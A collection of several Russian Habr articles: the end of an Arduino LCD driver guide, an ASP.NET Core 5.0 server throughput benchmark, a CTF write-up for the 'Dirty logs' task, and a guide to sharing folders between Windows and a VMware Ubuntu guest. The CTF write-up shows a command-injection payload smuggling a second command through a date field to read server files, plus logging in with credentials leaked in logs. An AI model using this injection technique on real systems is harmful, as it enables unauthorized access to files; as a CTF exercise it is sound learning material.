Входы D0-D3 подключить к выходам одного и того же порта микроконтроллера, например, Px4-Px7, при этом, выходы Px0-Px3 использовать в качестве GPIO нельзя. Можно назначить им другие функции, например, использовать их как выходы таймеров, последовательного интерфейса, и т.п. Если вы используете их как входы, будьте осторожны: встроенные подтягивающие резисторы могут переключаться произвольно, если их не отключить (PUD — pull-up disable).
Вход M — на выход таймера сравнения или ШИМ.
Вход CL1 — на другой выход того же таймера.
Вход CL2 — на выход другого таймера сравнения.
FLM — на любой цифровой выход.
DISPOFF — на любой другой цифровой выход.
Остальное зависит от того, как вы запитываете модуль. Автор предпочитает управлять подсветкой и Vee по отдельности.
Как пользоваться прошивкой
==========================
Поместить в скетч файлы clglcd.h and clglcd.cpp
Сделать резервную копию файла clglcd\_config.h и отредактировать его с учётом того, что куда подключено, а также того, какие функции вам нужны: знакогенератор в ОЗУ, и т.п. Внимание, в коде указаны не названия выводов Arduino, а названия выводов микроконтроллера согласно даташиту. Названия выходов теймеров сравнения расшифровываются так: например, 2,B — это OC2B, что на Arduino Uno соответствует PD3. В примерах приведены варианты подключения, которые заработали у автора.
Сгенерировать файл шрифта clglcd\_font.h Python-скриптом в папке misc (см. выше).
Посмотреть в примерах, как инициализировать, включить и выключить дисплей. Поместить в массив screen текст, который вы желаете отобразить для проверки.
Скомпилировать и залить скетч. Проверить логическим анализатором, что на дисплей пойдут правильные сигналы, а вольтметром — что все напряжения питания в норме. Только после этого подключать дисплей.
Добавить в скетч код, который будет что-нибудь делать, например, принимать текст по последовательному порту и отображать.
Прерывания при включённом дисплее
=================================
Обновлять дисплей надо постоянно, чем занимаются процедуры обработки прерываний. Если прерывания прекратятся более чем на 30 мкс, дисплей начнёт моргать, а если более чем на 60 мкс при единице на линии FLM — он может выйти из строя. Если надо прекратить прерывания надолго, сначала выключайте дисплей сигналом DISPOFF (повторяю, это сигнал инверсный, модуль включён при единице). Конечно, если он будет выключаться на две секнуды каждый раз, когда надо обработать данные от датчика влажности и температуры, это мало кому понравится, но лучше уж так, чем испортить модуль. Ещё лучше поручить всё остальное отдельному микроконтроллеру. Особенно недопустим обмен информацией тем же самым микроконтроллером с устройствами, работающими по протоколу 1-wire, и адресными светодиодами. Клоны Arduino Pro Micro достаточно недороги, чтобы купить два.
Связь
=====
Зато будут прекрасно работать аппаратно реализованные интерфейсы: последовательные порты, шина I2C, SPI в ведущем режиме. В ведомом — только если ведущее устройство допускает периодическое «отваливание» ведомого на 25-35 мкс. Конечно же, всё ещё зависит от того, сколько «ног» осталось не занято после подключения дисплея.
USB на 32u4 работает отлично, если не опрашивать конечную точку управления слишком часто (медленный код процедуры обработки прерывания). Драйвер CDC и его API оказались достаточно быстрыми.
Далее в файле README.md на GitHub повторён перечень аналогичных проектов, такой же, как на странице проекта на Hackaday.io
Спасибо за внимание! | https://habr.com/ru/post/444912/ | null | ru | null |
# Тест пропускной способности ASP.NET Core 5.0 в Kestrel, IIS, Nginx и Caddy
Начиная с версии 2.2. ASP.NET Core поддерживает режим внутрипроцессного размещения приложения (InProcess) в IIS, направленный на улучшение производительности кода. Рик Страл написал [статью](https://weblog.west-wind.com/posts/2019/Mar/16/ASPNET-Core-Hosting-on-IIS-with-ASPNET-Core-22), в которой подробно исследовал эту тему. С тех пор прошло три года, теперь платформа ASP.NET Core добралась до версии 5.0. Как это повлияло на производительность ASP.NET Core-проектов на различных серверах?
[](https://habr.com/ru/company/ruvds/blog/557670/)
Результаты исследования Рика Страла
-----------------------------------
Рик Страл в своей статье занимался тестирование ASP.NET Core-кода на Windows — в Kestrel и в IIS (в режимах InProcess и OutOfProcess). Его интересовало количество запросов в секунду, обрабатываемых системой. В результате он пришёл к выводу о том, что первое место по производительности получает использование IIS в режиме InProcess, второе — Kestrel, третье — IIS в режиме OutOfProcess.
Обзор эксперимента
------------------
Рик не провёл испытания, позволяющие выявить различия в выполнении ASP.NET Core-кода на Windows- и на Linux-серверах. А вопрос о том, что в 2021 году лучше выбрать для проектов, основанных на ASP.NET Core 5.0, интересует многих из тех, кого я знаю. Поэтому я решил, используя подход к тестированию, похожий на тот, которым пользовался Рик, узнать о том, сколько запросов в секунду может обработать ASP.NET Core 5.0-приложение на Windows и на Linux.
Тестовое окружение
------------------
Так как Windows 10, Ubuntu Desktop и другие настольные операционные системы не в полной мере отражают особенности сопоставимых с ними серверных дистрибутивов, я решил выбрать для тестов серверные версии соответствующих ОС. Это были свежеустановленные копии систем с последними патчами, перед выполнением тестов они были один раз перезагружены.
### ▍Windows-сервер:
* Провайдер: Microsoft Azure East Asia Region.
* ОС: Windows Server 2019 Data Center.
* Характеристики системы: B2S / 2 vCPU, 4GB RAM, Premium SSD.
* Окружение: IIS с поддержкой статического и динамического сжатия контента, отсутствие интеграции с ASP.NET 3.5 или 4.x, на сервере установлена платформа ASP.NET Core 5.0.2 Runtime.

*Сведения о Windows-сервере*
### ▍Linux-сервер
* Провайдер: Microsoft Azure East Asia Region.
* ОС: Ubuntu Server 20.04 LTS.
* Характеристики системы: B2S / 2 vCPU, 4GB RAM, Premium SSD.
* Окружение: включено использование BBR, установлены Nginx, Caddy и ASP.NET Core 5.0.2 Runtime.

*Сведения о Linux-сервере*
### ▍Инструменты для проведения тестов
Рик пользовался [West Wind Web Surge](https://websurge.west-wind.com/), но этот инструмент доступен только на платформе Windows, а это нас не устроит. Я решил воспользоваться опенсорсным кросс-платформенным инструментом [bombardier](https://github.com/codesenberg/bombardier), о котором однажды писали в официальном .NET-блоге Microsoft.
### ▍Тестовое приложение
Я создал новый проект ASP.NET Core 5.0 Web API, в котором имеется лишь один метод:
```
[ApiController]
[Route("[controller]")]
public class TestController : ControllerBase
{
[HttpGet]
public string Get()
{
return $"Test {DateTime.UtcNow}";
}
}
```
Для того чтобы не усложнять проект, я не проверял JSON-сериализацию и другие механизмы. Вы, если вам это интересно, вполне можете исследовать их самостоятельно.
Проект скомпилирован с применением конфигурации Release и опубликован с использованием FDD. Настройки логирования оставлены в стандартном состоянии:
```
"LogLevel": {
"Default": "Information",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
```
### ▍Методика тестирования
Я запускал проект, используя следующие конфигурации:
* Kestrel.
* IIS в режиме InProcess.
* IIS в режиме OutOfProcess.
* Обратный прокси Nginx.
* Обратный прокси Caddy.
Затем я применял bombardier. В течение 10 секунд, по 2 соединениям, велась работа с конечной точкой, доступной на `localhost`. После «прогревочного» раунда испытаний я, друг за другом, проводил ещё 3 раунда и на основе полученных данных вычислял показатель количества запросов, обработанных исследуемой системой за секунду (Request per Second, RPS).
Пожалуйста, обратите внимание на то, что в идеальном случае лучше не использовать инструмент для исследования производительности, обращаясь с его помощью к локальным адресам. Дело в том, что при таком подходе операционная система вынуждена будет делить сетевые ресурсы между инструментом для тестирования и исследуемой программой. Но, так как сети в облачных окружениях не так стабильны, как localhost-подключение, я решил использовать в тестах именно локальное подключение. Это позволило исключить воздействие особенностей сети на результаты.
Результаты тестов
-----------------
### ▍Windows + Kestrel
Средний RPS: 18808

*Windows + Kestrel*
### ▍Windows + IIS в режиме InProcess
Средний RPS: 10089

*Windows + IIS в режиме InProcess*
### ▍Windows + IIS в режиме OutOfProcess
Средний RPS: 2820

*Windows + IIS в режиме OutOfProcess*
### ▍Linux + Kestrel
Средний RPS: 10667

*Linux + Kestrel*
### ▍Linux + Nginx
Средний RPS: 3509

*Linux + Nginx*
### ▍Linux + Caddy
Средний RPS: 3485

*Linux + Caddy*
Итоги
-----
Вот как выглядят результаты тестирования (от самой быстрой комбинации ОС и серверного ПО — до самой медленной):
* Windows + Kestrel (18808)
* Linux + Kestrel (10667)
* Windows + IIS в режиме InProcess (10089)
* Linux + Nginx (3509)
* Linux + Caddy (3485)
* Windows + IIS в режиме OutOfProcess (2820)
Мои результаты отличаются от тех, что получил Рик, тестируя ASP.NET Core 2.2-проект. В его тестах производительность IIS в режиме InProcess оказывалась выше, чем производительность Kestrel. Но сейчас Kestrel оказывается быстрее IIS в режиме InProcess, и это кажется вполне логичным и ожидаемым.
А вот неожиданностью для меня стало то, что производительность Windows-серверов c Kestrel оказалась выше производительности аналогичных Linux-серверов. Это меня удивило.
В режиме обратного прокси-сервера Nginx и Caddy, в общем-то, показывают одинаковую производительность. И та и другая конфигурации обходят IIS в режиме OutOfProcess.
Конечно, мой простой тест, в ходе которого сервер возвращает обычную строку, не позволяет проверить все нюансы производительности ASP.NET Core 5.0 и исследовать возможности каждого сервера. В реальных проектах присутствует множество факторов, которые воздействуют на производительность. План моего эксперимента не перекрывает все возможные сценарии использования ASP.NET Core 5.0, в нём, наверное, имеются какие-то недочёты. Если вы что-то такое заметите — дайте мне знать.
Дополнение
----------
Мне сообщили, что в .NET 5 у `DateTime.UtcNow` могут быть проблемы, касающиеся производительности. Я провёл повторные испытания, заменив эту конструкцию на `Activity.Current?.Id ?? HttpContext.TraceIdentifier`. Получившиеся у меня результаты были выражены немного более высокими показателями, но общая картина осталась почти такой же.
А если увеличить число подключений с 2 до 125 — сервер Kestrel, и на Windows, и на Linux, способен дать гораздо более высокую пропускную способность.
Каким серверным ПО вы пользуетесь в своих проектах?
[](https://ruvds.com/news/read/142?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=utest_propusknoj_sposobnosti_asp.net_core_5.0_v_kestrel,_iis,_nginx_i_caddy)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=test_propusknoj_sposobnosti_asp.net_core_5.0_v_kestrel,_iis,_nginx_i_caddy) | https://habr.com/ru/post/557670/ | null | ru | null |
# Разбор таска Dirty logs с M*CTF 2022 или как желание пихнуть кавычку помогает решать CTF
Прошел почти год с того момента, как я написал свою первую [сатью](https://habr.com/ru/post/589433/) на Хабр. Начал этот путь именно с разбора задания MCTF 2021. Решил продолжить традицию в этом году и написать writeup на интересный таск с MCTF 2022.
### Обзор
Для начала перейдем на [сайт с заданием](http://mctf.ru:7777/) и посмотрим его структуру.
Из кликабельных элементов пока заметна только кнопка "*Логин*". Нажмем на нее и посмотрим, что будет.
http://mctf.ru:7777/
Открывается страница авторизации. Можно пробовать проверить на *XSS-* и *SQL-*инъекции, но результата это не даст (еще не время для кавычек). Нужно искать другой **путь**.
http://mctf.ru:7777/authВспоминаем про название таска - "*Dirty* ***logs***".
Попробуем перейти по адресу <http://mctf.ru:7777/logs>.
http://mctf.ru:7777/logsСтранно, но это сработало, изучим логи и подумаем, что делать дальше...
### Проникаем в систему
Похоже на результат журналирования событий нашей страницы авторизации. Набор данных содержит логины пользователей и пароли, при неуспешной попытки аутентификации. Мне сразу бросился в глаза товарищ "*v\_ozerov*", по попыткам которого можно сделать предположение, что он просто не может правильно написать свою парольную фразу.
Похоже, что товарищ Озеров не может правильно написать фразу HeadOfTheCity
Попробуем ввести его возможный пароль и пройти аутентификацию с кредами `v_ozerov/HeadOfTheCity`. Удалось попасть в "яблочко" с первого раза.
Креды для входа оказались верными - идем дальше!
А дальше мы попадаем на страницу <http://mctf.ru:7777/dashboard>.
http://mctf.ru:7777/dashboard### Изучаем систему
Теперь, когда мы в системе, давайте посмотрим, что тут вообще происходит. Есть какие-то "*События*", "*Аварии*" и "*Загрязнени*е".
По нажатию кнопки "Вывести данные" - выводятся данные (~~очень логично~~). Для пользовательского ввода доступно только поле "*Дата*" в формате даты (~~и снова логично~~). То есть ничего кроме цифр даты мы ввести туда не можем.
Пользовательский ввод веб-интерфейса
Обычно такие ограничения реализованы только на стороне клиента, а не сервера, ~~если сайт написан на коленке~~. Чтобы это проверить, нужно как-то перехватить запрос пользователя, модифицировать его и отправить на сервер - запускаем *Burp Suite*!
### Пробуем модифицировать запросы
Заранее оговорю тот момент, что подробно рассказывать о том, что такое *Burp Suite* и как им пользоваться я не буду. Это тема целой статьи, да и мануалов в Интернете достаточно. Итак, приступим...
В *Burp Suite* переходим в раздел "*Proxy*" и нажимаем "*Open Browser*".
Раздел "Proxy" в Burp Suite
Переходим в открывшемся браузере на страницу с дашбордом <http://mctf.ru:7777/dashboard> (перед этим необходимо пройти авторизацию или просто использовать токен из прошлой сессии).
Затем, когда мы попали на дашборд - начинается самое интересное.
Нажимаем в *Burp Suite* "*Intercept is off*", чтобы сменить режим для перехвата запросов, и в браузере жмем "*Вывести данные*" в любом из разделов.
Снова открываем Burp Suite и видим в главном окне содержимое нашего перехваченного, еще не отправленного на сервер, запроса.
Запрос отправлен на сервер, но ответа еще нет, так как мы перехватили запрос и не доставили на сервер
Жмем в любой из строке тела запроса ПКМ и выбираем "*Send to Repeater*".
Отправляем перехваченный запрос в "Репитер"
После этого переходим на вкладку "*Repeater*" и нажимаем "*Send*".

Запрос успешно выполнился, результат в правой части окна. Данная вкладка позволяет изменять содержимое запроса и отправлять его снова и снова (~~опять логично, это же Repeater~~).
Как видно из запроса, нам действительно доступен только один параметр - **date** (дата, которую мы можем выбрать в веб-интерфейсе). Мы можем проверить логику приложения и передать в этот параметр дату, но мы сразу приступим к *активной фазе* - передадим в параметре *date* обычную "**кавычку**".
Вводим в запрос `date='` и нажимаем "*Send*".
Пихнули кавычку и получили желаемый результат!
Результат выполнения запроса выдает нам ошибку обработки команды и полностью подтверждает нашу теорию о том, что пользовательский ввод ограничен только на стороне клиента. Но почему именно кавычку? ~~Пентестеры же любят "пихать" кавычки~~, а если серьезно, до ввода кавычки у меня не получилось заставить сервер хоть что-то внятное мне ответить. Не стал долго думать и "пихнул" - считаю оправданно!
### Готовим payload
Как видно из ошибки, параметр запроса **date** передается на вход Linux-команде (интерпретатора *bash*) *grep* на сервере, которая ищет соответствующий паттерн в определенном файле и выводит результат выполнения Linux-командой *echo*.
При штатном поведении пользователя, при выборе в веб-интерфейсе даты, она передается аргументом команды *grep* и пользователю выдается список найденых по дате событий.
На лицо атака типа *Command Injection*. ~~Проблема~~ заключается в том, что аргумент команды *grep*, куда попадает наш параметр, экранируется с двух сторон одинарными "кавычками". Необходимо подготовить payload имея следующий паттерн:
```
grep '' /home/server/data/events.txt || echo ""
```
Из того, что пришло мне в голову - надо как-то выйти за пределы "кавычек" и выполнить произвольную команду. Немного пофантазировав и поигравшись с параметрами, удалось скрафтить следующую конструкцию:
```
grep '.' *;grep '.' /home/server/data/events.txt || echo ""
```
где, `.' *;grep '.` - и есть наш *payload*.
Следуя логике полученной конструкции, в результате успешного выполнения запроса, нам должно показать содержимое всех файлов в текущей директории и содержимое файла events.txt. Проверяем...
В Burp Suite в тело запроса пишем `date=.' *;grep '.` , нажимаем "Send".
Пробуем наш payloadО чудо! Нам вывели содержимое всех файлов в текущей директории.
Продвигаемся дальше, давайте посмотрим список пользователей в домашней директории `/home`, для чего в теле запроса пишем `date=.' /home/*;grep '.`
Программа выполнилась с ошибкой, но дала нам полезную информацию о названии директорийПолучаем *localuser* и *server*.
Посмотрим что есть у пользователя *localuser* - `date=.' /home/localuser/*;grep '.`
Видим еще две директории: *Classified* и *programs*.
Посмотрим что есть в первой директории *Classified* - `date=.' /home/localuser/Classified/*;grep '.`
Получаем заветный флагИ получаем флаг - **MCTF{D@RkZ3r5K-iS\_w@1ch1ng}**
### Заключение
Таким образом, наш боевой payload выглядит следующим образом:
`date=.' /home/localuser/Classified/*;grep '.`, благодаря которому на стороне сервера выполняется команда:
```
grep '.' /home/localuser/Classified/*;grep '.' /home/server/data/events.txt || echo ""
```
Надеюсь, что читателям понравится данный writeup. Как и для всех заданий в CTF, не исключаю возможности более быстрого и лаконичного решения. Данная статья - это лишь описание хода моих мыслей при решении.
Тем, кто не смог решить данный таск, желаю не расстраиваться, а взять технику "пихать кавычку везде,где только можно" себе на вооружение! | https://habr.com/ru/post/696586/ | null | ru | null |
# Полноценная замена Denwer или разворачиваем Ubuntu-server на VMware (часть 2)
В [первой части](http://habrahabr.ru/blogs/webdev/127090/) мы с вами создали виртуальную машину, установили Ubuntu, настроили сеть и SSH доступ к гостевой ОС (Ubuntu). Теперь, самое время разобраться с синхронизацией наших файлов. Можно конечно не заморачиваться с этим, а просто копировать файлы по sftp после каждого редактирования, но это быстро надоест. По этому, для полного счастья стоит взять на вооружение один из ниже описанных способов.
##### Способ номер 1
**Достоинство:** простота настройки.
**Недостаток:** синхронизация односторонняя.
Самым простым способом для решения нашей задачи будет настройка синхронизации в [WinSCP](http://winscp.net/eng/download.php). Для это нам понадобится WinSCP и настроенный SSH. Первое вы уже качаете, а второе мы настроили в предыдущей статье, поэтому сразу перейдем к настройке синхронизации.
Для настройки синхронизации запускаем WinSCP, настраиваем SSH соединение с нашей Ubuntu (все как в putty) и конектимся. Теперь идем в Команды > Синхронизация папки на сервере (Ctrl + U) и настраиваем синхронизацию (там все очень просто).
P.S. Данный способ имеет очень большой недостаток: синхронизация будет односторонней – windows > Ubuntu.
##### Способ номер 2
**Достоинство:** универсальный.
**Недостаток:** проблемы со сменой прав на файлы и директории.
Второй способ самый универсальный — он не зависит от конкретной системы виртуализации и весьма прост в настройке.
Для начала идем в Windows и создаем нового пользователя с паролем. Теперь выберем папку, для которой мы откроем общий доступ, и в которой будут храниться наши скрипты (если пользуетесь Денвером, то можете открыть доступ к папке /home).
> **Примечание**
>
> Для включения общего доступа:
>
> * Выбираем папку, заходим в свойства.
> * Переходим в «Доступ» > «Общий доступ».
> * Выбираем из выпадающего списка нашего созданного пользователя и нажимаем «Добавить».
> * Выбираем нашего пользователя в таблице и ставим ему «Уровень разрешения» — «Чтение и запись».
>
Возвращаемся в Ubuntu и ставим smbfs:
```
sudo apt-get install smbfs
```
Теперь создаем директорию, в которую будем монтировать нашу удаленную папку:
```
mkdir ~/www
```
Создаем файл с логином и паролем нашего windows пользователя:
```
sudo touch /root/.smbclient
```
Открываем созданный файл и добавляем в него данные нашего Windows пользователя:
```
username=логин
password=пароль
```
Монтируем нашу удаленную папку (пускай это будет папка /home) в директорию ~/www. Для этого нам надо знать имя нашей Windows машины или ее IP (как узнать IP смотрите в первой части).
```
sudo smbmount //192.168.80.1/home /home/claud/www -o credentials=/root/.smbclient,uid=claud,gid=claud,forceuid=claud,forcegid=claud,rw,_netdev, dir_mode=0777, file_mode=0666
```
> **Примечание**
>
> * 192.168.80.1 – это мой IP замените его на свой.
> * Claud – это мой пользователь в Ubuntu замените его на своего (будьте внимательны — замените везде).
>
> **Описание опций**
>
> * credentials=/root/.smbclient — файл, в котором хранится логин и пароль для пользователя на удаленном компьютере.
> * uid=claud — UID для всех файлов и директорий, переданный сервером. Если сервер не передал UID, то используется это значение. По умолчанию оно равно 0 (root) можно писать имя или UID пользователя.
> * gid=claud — тоже самое, что и UID только для групп.
> * forceuid=claud — принудительно устанавливает UID для всех директорий и файлов.
> * forcegid=claud — тоже самое, что и forceuid только для группы.
> * iocharset=utf8 — кодировка файлов на сервере.
> * rw — монтиреут для чтения и записи. Можно поменять на «ro» — монтирует только для чтения.
> * \_netdev — опция, указывающая, что данный ресурс является сетевым. Полезно, если при запуске системы будет отсутствовать сеть, тогда система не будет выдавать ошибку о невозможности примонтирования ресурсов.
> * file\_mode=0666 — права доступа к файлам на сервере. В данном случае файлы могут читать и изменять все пользователи системы.
> * dir\_mode=0777 — права доступа к каталогам на сервере. В данном случае каталог может быть изменен любым пользователем.
>
Все теперь наша общая папка из Windows доступна на Ubuntu и все изменения, сделанные в ней на одной из ОС, будут тут же доступны и на другой. Но есть один не достаток: изменение прав доступа на файлы или директории в общей папке не фиксируются.
**Добавление в /etc/fstab**
Если добавить запись в /etc/fstab, то при перезагрузке или выключении системы, можно будет увидеть такое сообщение:
> 1.CIFS VFS: No Response for Cmd number mid number
В интернете много различных способов лечения этой гадости. Например:
* [forum.ubuntu.ru/index.php?topic=63270.0](http://forum.ubuntu.ru/index.php?topic=63270.0)
* [www.jejik.com/articles/2007/07/automatically\_mounting\_and\_unmounting\_samba\_windows\_shares\_with\_cifs](http://www.jejik.com/articles/2007/07/automatically_mounting_and_unmounting_samba_windows_shares_with_cifs/)
Но самый простой это:
> Я плюнул на все танцы с бубнами на очередность загрузки и все win ресурсы монтирую в /etc/rc.local через smbmount
##### Способ номер 3
**Достоинство:** помимо общих папок получаем еще несколько полезных дополнений.
**Недостаток:** подходит только для Vmware, проблемы со сменой прав на файлы и директории.
У VMware есть Vmware tools – это набор различных утилит, которые ставятся на гостевую ОС и дают раз дополнительных улучшений (общая папка, свой сетевой драйвер и т.д.).
> **Примечание**
>
> Пред началом установки, крайне рекомендую сделать бекап вашей ВМ или (если доступно) сделать снепшот.
>
>
Для установки VMware tools запускаем нашу ВМ. После входа в Ubuntu открываем меню Virtual Machine и нажимаем «Install VMware Tools».
Переходим в Ubuntu и создаем две директории:
```
mkdir ~/tmp
sudo mkdir /mnt/cdrom
```
Монтируем наш cdrom:
```
sudo mount /dev/cdrom /mnt/cdrom
```
Теперь внимание. Проверяем версию VMware tools:
```
ls –l /mnt/cdrom/
```
Если у вас VMwareTools-8.4.6 и выше, то скорее всего установка на Ubuntu 11.04 пройдет без проблем в противном случае, вам придется попотеть и покурить [это](http://blog.breadncup.com/2011/02/26/vmware-tool-patch-for-linux-kernel-2-6-3738/) и возможно вот [это](https://help.ubuntu.com/community/VMware/Tools), ну и вот [это](http://blog.htbaa.com/linux/ubuntu-10-04-with-vmhgfs-and-open-vm-tools) тоже.
Предположим нам повезло и у нас VMwareTools-8.4.6:
```
tar -zxvf /mnt/cdrom/VMwareTools-*.tar.gz -C ~/tmp
cd /tmp/vmware-tools-distrib/
```
Устанавливаем:
```
sudo ./vmware-install.pl –d
```
После завершения установки идем в настройки нашей ВМ > Options > Shared Folders ставим переключатель на Always enabled и добавляем, какую не то директорию (например: /home из Денвера). Сохраняем и закрываем настройки.
Возвращаемся в нашу Ubuntu и выполняем команду:
```
ls –l /mnt/hgfs
```
Если все было сделано правильно, то вы увидите свои папки из windows (вообще в этой директории будут доступны все ваши расшаренные папки).
Теперь давайте подмонтируем папку /home в директорию ~www. Для этого выполним команду (claud – имя моей учетной записи в Ubuntu, поменяйте его на свое):
```
sudo mount -t vmhgfs -o file_mode=0666,dir_mode=0777uid=claud,gid=claud,forceuid=claud,forcegid=claud,rw,_netdev .host:/home /home/claud/www
```
P.S. Данный способ позволяет менять права только на два вида rwxrwxrwx или r-xr-xr-x (все же лучше чем совсем не как).
#### Заключение.
Как я уже выше писал, вы без проблем можете монтировать папку /home (от Денвера) и получить тем самым возможность тестировать свои скрипты и в Windows и в Linux.
P.S. Если кто-то знает способы решения проблем с переназначением прав, то очень бы хотелось их узнать.
P.P.S Virtualbox-овсы подскажите как обстоят дела с переназначением прав доступа в Virtualbox реализации Shared Folders.
[Полноценная замена Denwer или разворачиваем Ubuntu-server на VMware (часть 1)](http://habrahabr.ru/blogs/webdev/127090/) | https://habr.com/ru/post/127971/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.